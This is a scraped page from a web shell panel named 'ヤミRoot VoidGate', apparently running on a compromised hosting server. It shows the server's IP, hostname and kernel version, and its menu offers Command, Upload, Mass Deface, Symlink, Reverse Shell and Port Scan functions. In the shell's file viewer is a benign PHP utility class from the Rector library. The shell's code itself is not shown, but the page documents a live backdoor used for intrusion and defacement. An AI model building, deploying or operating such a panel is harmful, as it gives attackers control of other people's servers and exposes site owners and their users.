ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
Util
/
Viewing: ArrayParametersMerger.php
<?php declare (strict_types=1); namespace Rector\Util; final class ArrayParametersMerger { /** * Merges configurations. Left has higher priority than right one. * * @autor David Grudl (https://davidgrudl.com) * @source https://github.com/nette/di/blob/8eb90721a131262f17663e50aee0032a62d0ef08/src/DI/Config/Helpers.php#L31 * @param mixed $left * @param mixed $right * @return mixed */ public function merge($left, $right) { if (\is_array($left) && \is_array($right)) { return $this->mergeLeftToRightWithCallable($left, $right, function ($leftValue, $rightValue) { return $this->merge($leftValue, $rightValue); }); } if ($left !== null) { return $left; } if (!\is_array($right)) { return $left; } return $right; } /** * @param array<int|string, mixed> $left * @param array<int|string, mixed> $right * @return mixed[] */ private function mergeLeftToRightWithCallable(array $left, array $right, callable $mergeCallback) : array { foreach ($left as $key => $val) { if (\is_int($key)) { // prevent duplicated values in unindexed arrays if (!\in_array($val, $right, \true)) { $right[] = $val; } } else { if (isset($right[$key])) { $val = $mergeCallback($val, $right[$key]); } $right[$key] = $val; } } return $right; } }
Coded With 💗 by
0x6ick